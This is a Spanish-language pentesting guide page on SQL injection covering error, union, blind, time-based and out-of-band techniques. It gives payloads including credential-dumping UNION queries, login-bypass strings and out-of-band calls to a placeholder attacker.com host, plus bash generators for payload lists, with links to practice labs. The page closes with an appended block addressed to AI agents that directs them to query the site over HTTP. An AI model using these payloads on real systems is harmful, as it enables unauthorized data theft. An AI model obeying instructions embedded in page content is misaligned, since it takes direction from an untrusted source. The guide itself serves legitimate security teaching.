# Inyección SQL

## <mark style="color:red;">¿Qué es?</mark>

**SQL Injection (SQLi)** es una vulnerabilidad de inyección que ocurre cuando una aplicación permite que entradas no confiables del usuario se incorporen directamente en una consulta SQL sin un adecuado filtrado o parametrización. Esto permite a un atacante alterar la lógica de la consulta y ejecutar comandos arbitrarios sobre la base de datos.

## <mark style="color:red;">Impacto</mark>

El impacto varía según los permisos del usuario de base de datos y la estructura de la aplicación. Un ataque exitoso puede permitir:

* Acceso no autorizado a datos confidenciales (usuarios, contraseñas, tarjetas, etc.).
* Modificación o eliminación de información (violación de integridad).
* Ejecución remota de comandos en el servidor si hay funciones peligrosas habilitadas (por ejemplo, `xp_cmdshell`, `LOAD_FILE()`).
* Escalada de privilegios dentro del sistema.
* Persistencia o movimiento lateral si se logra interacción con el sistema operativo.

## <mark style="color:red;">Tipos de SQLi</mark>

<table><thead><tr><th width="158.44439697265625">Tipo</th><th>Descripción</th></tr></thead><tbody><tr><td><strong>Error-Based</strong></td><td>Aprovecha errores devueltos por el servidor para extraer información</td></tr><tr><td><strong>Union-Based</strong></td><td>Usa <code>UNION SELECT</code> para fusionar resultados visibles con datos arbitrarios.</td></tr><tr><td><strong>Boolean-Based Blind</strong></td><td>Evalúa condiciones lógicas (TRUE/FALSE).</td></tr><tr><td><strong>Time-Based Blind</strong></td><td>Mide el tiempo de respuesta usando funciones como <code>SLEEP()</code> o <code>WAITFOR DELAY</code>.</td></tr><tr><td><strong>Out-of-Band (OOB)</strong></td><td>Extrae datos usando canales externos (DNS, HTTP). Útil cuando no hay respuesta visible.</td></tr><tr><td><strong>Second-Order SQL Injection</strong></td><td>El payload malicioso no se ejecuta inmediatamente, sino que se almacena en la base de datos y se ejecuta más tarde cuando otro proceso o funcionalidad lo utiliza.</td></tr><tr><td><strong>Stacked Queries Injection</strong></td><td>Permite ejecutar múltiples consultas en una misma petición separadas por ;. Solo funciona si el motor de base de datos y el backend lo permiten.</td></tr><tr><td><strong>SQLi en funciones de búsqueda o LIKE</strong></td><td>Algunos motores permiten comodines como %, _, o expresiones regulares que se pueden manipular para modificar el resultado.</td></tr><tr><td><strong>NoSQL Injection</strong></td><td>Inyección en sistemas como MongoDB, Redis, etc., que no usan SQL pero tienen estructuras manipulables.</td></tr><tr><td><strong>ORM Injection (Object-Relational Mapping)</strong></td><td>Manipulación de consultas a través de funciones de ORM mal configuradas. Algunos ORMs construyen dinámicamente consultas SQL si el input no está controlado.</td></tr><tr><td><strong>GraphQL Injection</strong></td><td>Si el backend usa SQL internamente, los inputs no filtrados en queries GraphQL pueden inyectar SQL.</td></tr><tr><td><strong>Blind Response-Based (No-Error)</strong></td><td>Variante donde no hay errores, ni retardo, ni diferencias booleanas evidentes. Se requiere analizar cambios muy sutiles en contenido o estructura de la respuesta.</td></tr></tbody></table>

## <mark style="color:red;">Cómo detectarlo</mark>

Puedes detectar SQLi de forma manual o automatizada. A continuación, se resumen las técnicas clave:

### **Pruebas manuales**

#### **Error-Based SQLi**

Inyección básica con comillas:

* Enviar `'` o `''`, esperando errores como:\
  \&#xNAN;*You have an error in your SQL syntax*, *unclosed quotation mark*, etc.

#### **Union-Based SQLi**

* Probar con `UNION SELECT` y observar si los datos inyectados se reflejan en la respuesta (`' UNION SELECT null, version()--`).

#### **Boolean-based**

* Inyectar condiciones lógicas que alteren la lógica de la consulta y comparar respuestas:
  * `' OR 1=1 --` (devuelve resultados)
  * `' OR 1=2 --` (no devuelve resultados)

#### **Time-based**

* Inyectar funciones de retardo y medir el tiempo de respuesta:
  * `'; WAITFOR DELAY '00:00:05'--` (MS SQL)
  * `' OR SLEEP(5)#` (MySQL/PostgreSQL)
* Si el tiempo de respuesta se ve afectado, puede indicar ejecución de la consulta.

#### **Out-of-band (OAST)**

* Usar payloads que generen peticiones DNS/HTTP a un servidor controlado por el atacante (OAST/Burp Collaborator):
  * `'; exec master..xp_dirtree '\\attacker.com\foo'--`
  * `' OR LOAD_FILE('\\attacker.com\data') --`

#### **Second-Order SQL Injection**

Por ejemplo, inyectar `abc' OR '1'='1` en un campo de perfil que luego se usa en una búsqueda interna sin escapar.

{% hint style="info" %}

* **Error-Based y Union-Based**: suelen ser los más fáciles de detectar, pero dependen de que el servidor devuelva errores o datos inyectados visiblemente.
* **Blind SQLi (boolean/time)**: se detectan comparando comportamientos, no respuestas directas.
* **Out-of-Band (OOB)**: son útiles en entornos muy restringidos donde no se puede obtener respuesta visible o por tiempo. Requieren infraestructura externa (servidor DNS/HTTP atacante).
  {% endhint %}

### **Pruebas automáticas**

Con el uso de herramientas como:

* sqlmap
* Burp Suite + extensiones (SQLiPy, Turbo Intruder).
* jSQL, NoSQLMap (para entornos NoSQL).

## <mark style="color:red;">Explotación de inyecciones SQL</mark>

### Inyección SQL en WHERE

Ejemplo 1 - Funcionalidad de filtrado: [Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](/labs/portswigger-academy/sql-injection/lab-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data.md)

### Inyección SQL de evasión de inicio de sesión

Ejemplo 1 - Funcionalidad de inicio de sesión: [Lab: SQL injection vulnerability allowing login bypass](/labs/portswigger-academy/sql-injection/lab-sql-injection-vulnerability-allowing-login-bypass.md)

### Ataque UNION

Si una aplicación es vulnerable a inyección SQL **y devuelve los resultados de las consultas en la respuesta**, puedes aprovechar la cláusula `UNION` para volcar información de otras tablas de la base de datos.

Este tipo de ataque permite concatenar múltiples consultas `SELECT` y fusionar sus resultados en un único output, siempre que:

* El número de columnas coincida.
* Los tipos de datos sean compatibles por posición.

Ejemplo:

```sql
SELECT a, b FROM tabla1
UNION
SELECT c, d FROM tabla2
```

Devuelve un resultado combinado de dos columnas con datos de ambas tablas.

#### ¿Qué es necesario saber antes de explotar `UNION`?

1. **Número exacto de columnas** que devuelve la consulta original.
2. **Qué columnas son imprimibles**, es decir, aceptan datos visibles (strings, números, etc.).

Una vez tengas eso, se puede inyectar, por ejemplo:

```sql
' UNION SELECT null, password FROM users--
```

Y obtener credenciales, tokens o lo que se encuentre en la base de datos, y tengamos permiso para obtener. Esto dependerá de los permisos del usuario de la base de datos.

#### Cómo identificar el número de columnas en una inyección SQL

**>> ORDER BY**

Inyecta cláusulas `ORDER BY` incrementales y observa la respuesta:

```sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...
```

Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):

```bash
for i in {1..20}; do echo "' ORDER BY "$i"--"; done > /tmp/orderby.txt
```

Cuando el número excede las columnas reales, la base de datos lanza un error (ej: The ORDER BY position number 4 is out of range...), se obtiene una respuesta con un código de error (ej: 500), se observan diferencias en el tamaño de respuesta u otra diferencia que permita identificar un comportamiento no esperado de la aplicación.

**>> UNION**

Inyecta varios `NULL` y aumenta hasta que no haya error:

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...
```

Para obtener una lista de payloads (se modifica 20 por el número de columnas que queramos probar):

{% code overflow="wrap" %}

```bash
for i in {1..20}; do echo "' UNION SELECT $(yes NULL | head -n $i | paste -sd,)--"; done > /tmp/unionselect.txt
```

{% endcode %}

> Se usa `NULL` porque es **compatible con cualquier tipo de dato**, lo que evita errores por incompatibilidad.

{% hint style="info" %}
**¿Qué se debe observar?**

* **Errores explícitos** en la respuesta HTTP.
* **Cambios en el contenido** (como una fila adicional).
* **Errores silenciosos** que provocan páginas vacías, render roto o ausencia de resultados.
  {% endhint %}

<details>

<summary>Ejemplos de explotación</summary>

* [Lab: SQL injection UNION attack, determining the number of columns returned by the query](/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query.md)

</details>

#### Cómo identificar las columnas que permiten insertar texto en una inyección SQL UNION

Para ello, es necesario insertar una cadena en cada una de las columnas a probar. Por ejemplo, si el número de columnas obtenido es 3:

```sql
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
```

Como el número de columnas cambia, se puede generar una lista a partir del número de columnas deseado usando el siguiente script:

```bash
#!/bin/bash

# Número de columnas totales
columnas=3  # Puedes cambiar este valor

for i in $(seq 1 $columnas); do
  payload="' UNION SELECT "
  for j in $(seq 1 $columnas); do
    if [ "$j" -eq "$i" ]; then
      payload+="'a'"
    else
      payload+="NULL"
    fi
    [ "$j" -lt "$columnas" ] && payload+=","
  done
  payload+="--"
  echo "$payload"
done
```

Lo mismo, pero en oneliner:

{% code overflow="wrap" %}

```bash
cols=3; for i in $(seq 1 $cols); do echo "' UNION SELECT $(for j in $(seq  1 $cols); do [ $j -eq $i ] && echo -n "'a'" || echo -n "NULL"; [ $j -lt $cols ] && echo -n ","; done)--"; done
```

{% endcode %}

<details>

<summary>Ejemplos de explotación</summary>

* [Lab: SQL injection UNION attack, finding a column containing text](/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-finding-a-column-containing-text.md)

</details>

#### Cómo insertar múltiples valores en una misma columna

Esto es útil cuando la tabla de la consulta solo cuenta con una columna. Para ello, necesitamos concatenar varias columnas en una única columna para poder mostrar el contenido:

```sql
' UNION SELECT username || '~' || password FROM users--
```

<details>

<summary>Ejemplos de explotación</summary>

* [Lab: SQL injection UNION attack, retrieving multiple values in a single column](/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-retrieving-multiple-values-in-a-single-column.md)
* <https://hackerone.com/reports/1046084>

</details>

### Inyección a ciegas SQL booleana (Blind SQL) <a href="#blind-sql-injection" id="blind-sql-injection"></a>

PENDIENTE.<br>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-aplicaciones-web/general/ataques-y-vulnerabilidades/inyeccion/inyeccion-sql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
